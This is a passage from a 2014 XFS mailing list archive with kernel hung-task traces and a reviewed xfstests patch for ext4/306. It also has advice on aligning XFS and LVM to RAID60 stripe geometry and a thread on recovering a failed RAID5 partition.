? do_writepages+0x21/0x50 [<ffffffff811c79a0>] ? __writeback_single_inode+0x40/0x220 [<ffffffff81373a6d>] ? do_raw_spin_unlock+0x5d/0xb0 [<ffffffff811c8e21>] ? writeback_sb_inodes+0x281/0x420 [<ffffffff811c9180>] ? wb_writeback+0xf0/0x2c0 [<ffffffff811ca6ea>] ? wb_do_writeback+0xba/0x210 [<ffffffff810bed8d>] ? trace_hardirqs_on+0xd/0x10 [<ffffffff8106b6ac>] ? del_timer+0x5c/0x70 [<ffffffff811ca8d3>] ? bdi_writeback_thread+0x93/0x230 [<ffffffff811ca840>] ? wb_do_writeback+0x210/0x210 [<ffffffff8108083a>] ? kthread+0xea/0xf0 [<ffffffff81080750>] ? kthread_create_on_node+0x160/0x160 [<ffffffff8170a06c>] ? ret_from_fork+0x7c/0xb0 [<ffffffff81080750>] ? kthread_create_on_node+0x160/0x160 jbd2/vdc-8 D ffff88003ce59bd0 0 5251 2 0x00000000 ffff88003ce59b28 0000000000000046 ffff88003b490000 ffff88003ce59fd8 ffff88003ce59fd8 ffff88003ce59fd8 ffffffff81c13440 ffffffff810b9aed ffff88003ce59b28 ffffffff817012c7 ffff880036433f60 ffff8800364345a0 Call Trace: [<ffffffff81373a6d>] ? do_raw_spin_unlock+0x5d/0xb0 [<ffffffff810b9aed>] ? trace_hardirqs_off+0xd/0x10 [<ffffffff817012c7>] ? _raw_spin_unlock_irqrestore+0x67/0x80 [<ffffffff813395b9>] ? submit_bio+0x79/0x160 [<ffffffff810921bf>] ? try_to_wake_up+0x1ff/0x350 [<ffffffff811034a4>] ? __delayacct_blkio_end+0x34/0x60 [<ffffffff816ffcdf>] ? io_schedule+0x8f/0xd0 [<ffffffff811d00fe>] ? sleep_on_buffer+0xe/0x20 [<ffffffff816fcfb0>] ? __wait_on_bit+0x60/0x90 [<ffffffff810986fe>] ? dequeue_entity+0x13e/0x4b0 [<ffffffff8170129f>] ? _raw_spin_unlock_irqrestore+0x3f/0x80 [<ffffffff810bed8d>] ? trace_hardirqs_on+0xd/0x10 [<ffffffff816ffc09>] schedule+0x29/0x70 [<ffffffff8129f068>] ? kjournald2+0xc8/0x260 [<ffffffff81080ec0>] ? __init_waitqueue_head+0x60/0x60 [<ffffffff8129efa0>] ? journal_init_common+0x1d0/0x1d0 [<ffffffff8108083a>] ? kthread+0xea/0xf0 [<ffffffff81080750>] ? kthread_create_on_node+0x160/0x160 [<ffffffff8170a06c>] ? ret_from_fork+0x7c/0xb0 [<ffffffff81080750>] ? kthread_create_on_node+0x160/0x160 umount D 000000000000353a 0 5271 5053 0x00000000 ffff88003ced3b88 0000000000000046 ffff88003a953f60 ffff88003ced3fd8 ffff88003ced3fd8 ffff88003ced3fd8 ffffffff81c13440 ffff88003a953f60 0000000000000002 ffff88003ced3d10 ffff88003ced3d18 7fffffffffffffff Call Trace: [<ffffffff816ffc09>] schedule+0x29/0x70 [<ffffffff816fccdc>] schedule_timeout+0x18c/0x250 [<ffffffff810beb7b>] ? mark_held_locks+0x9b/0x100 [<ffffffff81701250>] ? _raw_spin_unlock_irq+0x30/0x40 [<ffffffff810beced>] ? trace_hardirqs_on_caller+0x10d/0x1a0 [<ffffffff816ff27f>] wait_for_completion+0x9f/0x110 [<ffffffff81092310>] ? try_to_wake_up+0x350/0x350 [<ffffffff811c81d4>] writeback_inodes_sb_nr+0x134/0x180 [<ffffffff811c824e>] writeback_inodes_sb+0x2e/0x40 [<ffffffff811ce51d>] sync_filesystem+0x3d/0xb0 [<ffffffff8119f14b>] generic_shutdown_super+0x3b/0xf0 [<ffffffff8119f230>] kill_block_super+0x30/0x80 [<ffffffff8119f757>] deactivate_locked_super+0x57/0x80 [<ffffffff811a039e>] deactivate_super+0x4e/0x70 [<ffffffff811bc801>] mntput_no_expire+0x101/0x160 [<ffffffff811bd73c>] sys_umount+0x9c/0x3c0 [<ffffffff8170a119>] system_call_fastpath+0x16/0x1b > -Eric > > [1] on an old RHEL5 box so that's a bit of a strange beast > > > Signed-off-by: Eric Whitney <enwlinux@gmail.com> > > --- > > tests/ext4/306 | 21 +++++++-------------- > > 1 file changed, 7 insertions(+), 14 deletions(-) > > > > diff --git a/tests/ext4/306 b/tests/ext4/306 > > index 398c4c0..9559cf2 100755 > > --- a/tests/ext4/306 > > +++ b/tests/ext4/306 > > @@ -45,29 +45,22 @@ _supported_os Linux > > > > _require_scratch > > > > -# This needs to mount ext3; might require ext3 driver, or ext4 > > -# might handle it itself. Find out if we have it one way or another. > > -modprobe ext3 > /dev/null 2>&1 > > -grep -q ext3 /proc/filesystems || _notrun "This test requires ext3 support" > > - > > rm -f $seqres.full > > > > -# Make a small ext3 fs, (extents disabled) & mount it > > -yes | mkfs.ext3 $SCRATCH_DEV 512m >> $seqres.full 2>&1 > > -_scratch_mount -t ext3 || _fail "couldn't mount fs as ext3" > > +# Make a small ext4 fs with extents disabled & mount it > > +yes | mkfs.ext4 -O ^extents $SCRATCH_DEV 512m >> $seqres.full 2>&1 > > +_scratch_mount || _fail "couldn't mount fs" > > + > > # Create a small non-extent-based file > > echo "Create 1m testfile1" > > $XFS_IO_PROG -f $SCRATCH_MNT/testfile1 -c "pwrite 0 1m" | _filter_xfs_io > > + > > +# Create a large non-extent-based file filling the fs; this will run out & fail > > echo "Create testfile2 to fill the fs" > > -# A large non-extent-based file filling the fs; this will run out & fail > > $XFS_IO_PROG -f $SCRATCH_MNT/testfile2 -c "pwrite 0 512m" | _filter_xfs_io > > - > > -# Remount as ext4 > > -_scratch_unmount > > -_scratch_mount -t ext4 || _fail "couldn't remount fs as ext4" > > df -h $SCRATCH_MNT >> $seqres.full > > > > -# Grow it by 512m > > +# Grow fs by 512m > > echo "Resize to 1g" > > resize2fs $SCRATCH_DEV 1g >> $seqres.full 2>&1 || _fail "Could not resize to 1g" > > df -h $SCRATCH_MNT >> $seqres.full > > > From sandeen@sandeen.net Fri Jan 31 14:42:13 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 17BBD7F91 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 14:42:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id C2B7FAC003 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 12:42:09 -0800 (PST) X-ASG-Debug-ID: 1391200927-04bdf0121e64fc0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 7uFQFOXm2WLAIyj1 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 12:42:08 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 880A763BEBC7; Fri, 31 Jan 2014 14:42:07 -0600 (CST) Message-ID: <52EC0A99.8080702@sandeen.net> Date: Fri, 31 Jan 2014 14:42:01 -0600 From: Eric Sandeen <sandeen@sandeen.net> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Whitney <enwlinux@gmail.com>, xfs@oss.sgi.com CC: linux-ext4@vger.kernel.org Subject: Re: [PATCH v2] xfstests: avoid ext4/306 failures caused by incompatible mount options References: <20140131155332.GB2385@wallace> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: avoid ext4/306 failures caused by incompatible mount options In-Reply-To: <20140131155332.GB2385@wallace> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391200927 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144695 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/31/14, 9:53 AM, Eric Whitney wrote: > ext4/306 will fail when mounting the ext3 file system it creates if an > ext3-incompatible mount option is applied by _scratch_mount. This can > happen if EXT_MOUNT_OPTIONS is defined appropriately in the test > environment. For example, the block_validity option is commonly used > to enhance ext4 testing, and it is not supported by ext3. > > Fix this by instead creating an ext4 file system without extents as a > functionally equivalent substitute. This will also eliminate a > dependency for ext3 support on the test system. > > Signed-off-by: Eric Whitney <enwlinux@gmail.com> Looks good, thanks for double checking the old kernel. Reviewed-by: Eric Sandeen <sandeen@redhat.com> > --- > tests/ext4/306 | 21 +++++++-------------- > 1 file changed, 7 insertions(+), 14 deletions(-) > > diff --git a/tests/ext4/306 b/tests/ext4/306 > index 398c4c0..9559cf2 100755 > --- a/tests/ext4/306 > +++ b/tests/ext4/306 > @@ -45,29 +45,22 @@ _supported_os Linux > > _require_scratch > > -# This needs to mount ext3; might require ext3 driver, or ext4 > -# might handle it itself. Find out if we have it one way or another. > -modprobe ext3 > /dev/null 2>&1 > -grep -q ext3 /proc/filesystems || _notrun "This test requires ext3 support" > - > rm -f $seqres.full > > -# Make a small ext3 fs, (extents disabled) & mount it > -yes | mkfs.ext3 $SCRATCH_DEV 512m >> $seqres.full 2>&1 > -_scratch_mount -t ext3 || _fail "couldn't mount fs as ext3" > +# Make a small ext4 fs with extents disabled & mount it > +yes | mkfs.ext4 -O ^extents $SCRATCH_DEV 512m >> $seqres.full 2>&1 > +_scratch_mount || _fail "couldn't mount fs" > + > # Create a small non-extent-based file > echo "Create 1m testfile1" > $XFS_IO_PROG -f $SCRATCH_MNT/testfile1 -c "pwrite 0 1m" | _filter_xfs_io > + > +# Create a large non-extent-based file filling the fs; this will run out & fail > echo "Create testfile2 to fill the fs" > -# A large non-extent-based file filling the fs; this will run out & fail > $XFS_IO_PROG -f $SCRATCH_MNT/testfile2 -c "pwrite 0 512m" | _filter_xfs_io > - > -# Remount as ext4 > -_scratch_unmount > -_scratch_mount -t ext4 || _fail "couldn't remount fs as ext4" > df -h $SCRATCH_MNT >> $seqres.full > > -# Grow it by 512m > +# Grow fs by 512m > echo "Resize to 1g" > resize2fs $SCRATCH_DEV 1g >> $seqres.full 2>&1 || _fail "Could not resize to 1g" > df -h $SCRATCH_MNT >> $seqres.full > From chamill@wesleyan.edu Fri Jan 31 15:14:42 2014 Return-Path: <chamill@wesleyan.edu> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E68FA7F37 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 15:14:41 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 72CA6AC00A for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 13:14:38 -0800 (PST) X-ASG-Debug-ID: 1391202876-04cb6c6de064870001-NocioJ Received: from internal-smtp3.wesleyan.edu (internal-smtp3.wesleyan.edu [129.133.6.182]) by cuda.sgi.com with ESMTP id WDEkAAyVTU1BHNbd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 13:14:36 -0800 (PST) X-Barracuda-Envelope-From: chamill@wesleyan.edu X-Barracuda-Apparent-Source-IP: 129.133.6.182 Received: from localhost (al.wesleyan.edu [129.133.22.76]) (authenticated bits=0) by msa.wesleyan.edu (8.14.4/8.14.4) with ESMTP id s0VLEVpl025879 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NOT); Fri, 31 Jan 2014 16:14:31 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=wesleyan.edu; s=feb2013.wesmsa; t=1391202872; bh=bVSO0sWL3HH+8NKaDvudZ4dNBHfo/mxXFhxLsxEVV+A=; h=From:To:Cc:In-reply-to:Subject:References:Date; b=anCpwySbz1LGRjQ0TYzVCazkAZ6GNhnqElaPEUDpkjMuXH5bZrXSJVutrcUuYieBA B89ZoCywQSzYpElYCFXC45DmZ5ry0/nKKDx0fnUe0Qati4pZPWKc7urPgm8BUQE4IY yJh6LTJJUNuzpHB3QrlxZHzHGRUtS2DVxLz5N1rc= Content-Type: text/plain; charset=UTF-8 From: "C. Morgan Hamill" <chamill@wesleyan.edu> To: stan <stan@hardwarefreak.com> Cc: Dave Chinner <david@fromorbit.com>, xfs <xfs@oss.sgi.com> In-reply-to: <52EB3B96.7000103@hardwarefreak.com> Subject: Re: Question regarding XFS on LVM over hardware RAID. References: <1391005406-sup-1881@al.wesleyan.edu> <52E91923.4070706@sandeen.net> <1391022066-sup-5863@al.wesleyan.edu> <52E99504.4030902@hardwarefreak.com> <1391090527-sup-4664@al.wesleyan.edu> <20140130202819.GO2212@dastard> <52EB3B96.7000103@hardwarefreak.com> X-ASG-Orig-Subj: Re: Question regarding XFS on LVM over hardware RAID. Date: Fri, 31 Jan 2014 16:14:31 -0500 Message-Id: <1391202273-sup-9265@al.wesleyan.edu> User-Agent: Sup/git Content-Transfer-Encoding: 8bit X-Wesleyan-MailScanner-ID: s0VLEVpl025879 X-Wesleyan-MailScanner: Found to be clean X-Wesleyan-MailScanner-From: chamill@wesleyan.edu X-Barracuda-Connect: internal-smtp3.wesleyan.edu[129.133.6.182] X-Barracuda-Start-Time: 1391202876 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144696 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Excerpts from Stan Hoeppner's message of 2014-01-31 00:58:46 -0500: > RAID60 is a nested RAID level just like RAID10 and RAID50. It is a > stripe, or RAID0, across multiple primary array types, RAID6 in this > case. The stripe width of each 'inner' RAID6 becomes the stripe unit of > the 'outer' RAID0 array: > > RAID6 geometry 128KB * 12 = 1536KB > RAID0 geometry 1536KB * 3 = 4608KB > > If you are creating your RAID60 array with a proprietary hardware > RAID/SAN management utility it may not be clearly showing you the > resulting nested geometry I've demonstrated above, which is correct for > your RAID60. > > It is possible with software RAID to continue nesting stripe upon stripe > to build infinitely large nested arrays. It is not practical to do so > for many reasons, but I'll not express those here as it is out of scope > for this discussion. I am simply attempting to explain how nested RAID > levels are constructed. > > > So optimised for sequential IO. The time-honoured method of setting > > up XFS for this if the workload is large files is to use a stripe > > unit that is equal to the width of the underlying RAID6 volumes with > > a stripe width of 3. That way XFS tries to align files to the start > > of each RAID6 volume, and allocate in full RAID6 stripe chunks. This > > mostly avoids RMW cycles for large files and sequential IO. i.e. su > > = 1536k, sw = 3. Makes perfect sense. > As Dave demonstrates, your hardware geometry is 1536*3=4608KB. Thus, > when you create your logical volumes they each need to start and end on > a 4608KB boundary, and be evenly divisible by 4608KB. This will ensure > that all of your logical volumes are aligned to the RAID60 geometry. > When formatting the LVs with XFS you will use: > > ~# mkfs.xfs -d su=1536k,sw=3 /dev/[lv_device_path] Noted. > This aligns XFS to the RAID60 geometry. Geometry alignment must be > maintained throughout the entire storage stack. If a single layer is > not aligned properly, every layer will be misaligned. When this occurs > performance will suffer, and could suffer tremendously. > > You'll want to add "inode64" to your fstab mount options for these > filesystems. This has nothing to do with geometry, but how XFS > allocates inodes and how/where files are written to AGs. It is the > default in very recent kernels but I don't know in which it was made so. Yes, I was aware of this. > LVM typically affords you much more flexibility here than your RAID/SAN > controller. Just be mindful that when you expand you need to keep your > geometry, i.e. stripe width, the same. Let's say some time in the > future you want to expand but can only afford, or only need, one 14 disk > chassis at the time, not another 3 for another RAID60. Here you could > create a single 14 drive RAID6 with stripe geometry 384KB * 12 = 4608KB. > > You could then carve it up into 1-3 pieces, each aligned to the > start/end of a 4608KB stripe and evenly divisible by 4608KB, and add > them to one of more of your LVs/XFS filesystems. This maintains the > same overall stripe width geometry as the RAID60 to which all of your > XFS filesystems are already aligned. OK, so the upshot is is that any additions to the volume group must be array with su*sw=4608k, and all logical volumes and filesystems must begin and end on multiples of 4608k from the start of the block device. As long as these things hold true, is it all right for logical volumes/filesystems to begin on one physical device and end on another? > If you remember only 3 words of my post, remember: > > Alignment, alignment, alignment. Yes, I am hearing you. :-) > For a RAID60 setup such as you're describing, you'll want to use LVM, > and you must maintain consistent geometry throughout the stack, from > array to filesystem. This means every physical volume you create must > start and end on a 4608KB stripe boundary. Every volume group you > create must do the same. And every logical volume must also start and > end on a 4608KB stripe boundary. If you don't verify each layer is > aligned all of your XFS filesystems will likely be unaligned. And > again, performance will suffer, possibly horribly so. So, basically, --dataalignment is my friend during pvcreate and lvcreate. Thanks so much for your and Dave's help; this has been tremendously helpful. -- Morgan Hamill From eflorac@intellique.com Fri Jan 31 15:37:46 2014 Return-Path: <eflorac@intellique.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AE53B7CBE for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 15:37:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 416DAAC00A for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 13:37:46 -0800 (PST) X-ASG-Debug-ID: 1391204261-04cb6c6de2650b0001-NocioJ Received: from smtp5-g21.free.fr (smtp5-g21.free.fr [212.27.42.5]) by cuda.sgi.com with ESMTP id Ek74AdhK2eq3qqBg for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 13:37:42 -0800 (PST) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.5 Received: from galadriel.home (unknown [82.235.234.79]) by smtp5-g21.free.fr (Postfix) with ESMTP id DF3E8D48052; Fri, 31 Jan 2014 22:37:36 +0100 (CET) Date: Fri, 31 Jan 2014 22:37:15 +0100 From: Emmanuel Florac <eflorac@intellique.com> To: "Juan A. Sillero" <juan.sillero@gmail.com> Cc: Roger Willcocks <roger@filmlight.ltd.uk>, Guillem Borrell i Nogueras <guillem@torroja.dmt.upm.es>, xfs@oss.sgi.com Subject: Re: Not being able to recover a RAID 5 20 Tb partition, help needed Message-ID: <20140131223715.0a977fc2@galadriel.home> X-ASG-Orig-Subj: Re: Not being able to recover a RAID 5 20 Tb partition, help needed In-Reply-To: <CC18E95B-75B3-47CE-8FBE-9FA511A38CD5@torroja.dmt.upm.es> References: <1391002795.2573.79.camel@islero.dmt.upm.es> <1391009068.4294.83.camel@montana.filmlight.ltd.uk> <1391014448.2573.95.camel@islero.dmt.upm.es> <20140129184250.7af7200f@harpe.intellique.com> <CC18E95B-75B3-47CE-8FBE-9FA511A38CD5@torroja.dmt.upm.es> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp5-g21.free.fr[212.27.42.5] X-Barracuda-Start-Time: 1391204261 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144697 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Fri, 31 Jan 2014 20:31:25 +0100 vous =C3=A9criviez: > The disk controller are QLogic: >=20 > 04:00.0 Fibre Channel: QLogic Corp. ISP2532-based 8Gb Fibre Channel > to PCI Express HBA (rev 02)=20 So it's just a FC HBA, not a RAID controller, so there isn't much to do there. As I said previously, your best bet at this point is first try UFS explorer first. Is your data made of standard file formats (i.e. JPEG images, etc)? Or is it special? --=20 ------------------------------------------------------------------------ Emmanuel Florac | Direction technique | Intellique | <eflorac@intellique.com> | +33 1 78 94 84 02 ------------------------------------------------------------------------ From juan.sillero@gmail.com Fri Jan 31 15:51:29 2014 Return-Path: <juan.sillero@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2E7217FB1 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 15:51:29 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1523F8F8066 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 13:51:26 -0800 (PST) X-ASG-Debug-ID: 1391205083-04cb6c6de065680001-NocioJ Received: from mail-ea0-f171.google.com (mail-ea0-f171.google.com [209.85.215.171]) by cuda.sgi.com with ESMTP id BM1BEuvvj5kVZf72 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 13:51:24 -0800 (PST) X-Barracuda-Envelope-From: juan.sillero@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.215.171 X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.171] Received: by mail-ea0-f171.google.com with SMTP id f15so2599169eak.16 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 13:51:23 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.171] X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.171] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=1HuxWBe5j57MjsbGWUyxoHDNyjGdxuSZfkfQi3RNrTk=; b=zp/+9NKQx1hMXDOvKw4rkreGpnazZTXASlx9mnpJ2WKbuFUnTL0cdGVxH6oJwzzOIA 4R90lpPKFITCTvHxPAxUhJgXORpEs96UJiwhv2R4FDHbJNVFRfgpax8U+R8WL9tWefu6 ymXqkCDSF2sEl/mkqr055MA7lJeO87ur/Gdk1ECYMF2nBYsFvRgPZJEgPzeGXaYHTPIz LblTGqrTO77yE604tjhjVFsTYq59k7HqkI8ihjICK7Xv/ispMO6egs0vB31adANEqNcx +Uo5Dde2wEuQk0ArpsIalyLFZC7IgrCtYJydPMaOEF7qS08VArpUR/RTnuS5vbJoUxgt Mzfw== X-Received: by 10.14.184.66 with SMTP id r42mr6225050eem.86.1391205083273; Fri, 31 Jan 2014 13:51:23 -0800 (PST) Received: from [192.168.1.34] (201.Red-88-3-142.dynamicIP.rima-tde.net. [88.3.142.201]) by mx.google.com with ESMTPSA id 4sm41813026eed.14.2014.01.31.13.51.22 for <multiple recipients> (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Fri, 31 Jan 2014 13:51:22 -0800 (PST) Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 (Mac OS X Mail 6.6 \(1510\)) Subject: Re: Not being able to recover a RAID 5 20 Tb partition, help needed From: Juan Antonio Sillero Sepulveda <juan.sillero@gmail.com> X-ASG-Orig-Subj: Re: Not being able to recover a RAID 5 20 Tb partition, help needed In-Reply-To: <20140131223715.0a977fc2@galadriel.home> Date: Fri, 31 Jan 2014 22:50:51 +0100 Cc: Roger Willcocks <roger@filmlight.ltd.uk>, Guillem Borrell i Nogueras <guillem@torroja.dmt.upm.es>, xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <D52B7046-0672-4C4E-AC79-DCB7F811DB2E@gmail.com> References: <1391002795.2573.79.camel@islero.dmt.upm.es> <1391009068.4294.83.camel@montana.filmlight.ltd.uk> <1391014448.2573.95.camel@islero.dmt.upm.es> <20140129184250.7af7200f@harpe.intellique.com> <CC18E95B-75B3-47CE-8FBE-9FA511A38CD5@torroja.dmt.upm.es> <20140131223715.0a977fc2@galadriel.home> To: Emmanuel Florac <eflorac@intellique.com> X-Mailer: Apple Mail (2.1510) X-Barracuda-Connect: mail-ea0-f171.google.com[209.85.215.171] X-Barracuda-Start-Time: 1391205084 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144697 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Sorry, Guillem, my colleague and expert, correct me. These is the hardware. Disk /dev/sdq - 20 TB / 18 TiB - DotHill R/Evo 5730-2R Disk /dev/sdr - 22 TB / 20 TiB - DotHill R/Evo 5730-2R Disk /dev/sds - 22 TB / 20 TiB - DotHill R/Evo 5730-2R Disk /dev/sdt - 22 TB / 20 TiB - DotHill R/Evo 5730-2R Disk /dev/sdu - 22 TB / 20 TiB - DotHill R/Evo 5730-2R Disk /dev/sdv - 22 TB / 20 TiB - DotHill R/Evo 5730-2R Disk /dev/sdw - 22 TB / 20 TiB - DotHill R/Evo 5730-2R Disk /dev/sdx - 22 TB / 20 TiB - DotHill R/Evo 5730-2R Disk /dev/sdy - 22 TB / 20 TiB - DotHill R/Evo 5730-2R Disk /dev/sdz - 20 TB / 18 TiB - DotHill R/Evo 5730-2R We store everything, basically. Images, matlabs files, txt, dat, pdf, = binary files, hdf5 files, .mat, Fortran files, etc... On Jan 31, 2014, at 10:37 PM, Emmanuel Florac <eflorac@intellique.com> = wrote: > Le Fri, 31 Jan 2014 20:31:25 +0100 vous =E9criviez: >=20 >> The disk controller are QLogic: >>=20 >> 04:00.0 Fibre Channel: QLogic Corp. ISP2532-based 8Gb Fibre Channel >> to PCI Express HBA (rev 02)=20 >=20 >=20 > So it's just a FC HBA, not a RAID controller, so there isn't much to > do there. As I said previously, your best bet at this point is first = try > UFS explorer first. >=20 > Is your data made of standard file formats (i.e. JPEG images, etc)? = Or > is it special? >=20 > --=20 > = ------------------------------------------------------------------------ > Emmanuel Florac | Direction technique > | Intellique > | <eflorac@intellique.com> > | +33 1 78 94 84 02 > = ------------------------------------------------------------------------ From fdmanana@gmail.com Fri Jan 31 20:05:53 2014 Return-Path: <fdmanana@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BFDA17FB5 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 20:05:53 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3E696AC003 for <xfs@oss.sgi.com>; Fri, 31 Jan 2014 18:05:50 -0800 (PST) X-ASG-Debug-ID: 1391220344-04cbb00c2968230001-NocioJ Received: from mail-we0-f171.google.com (mail-we0-f171.google.com [74.125.82.171]) by cuda.sgi.com with ESMTP id ubsiWptZqepA4xyc 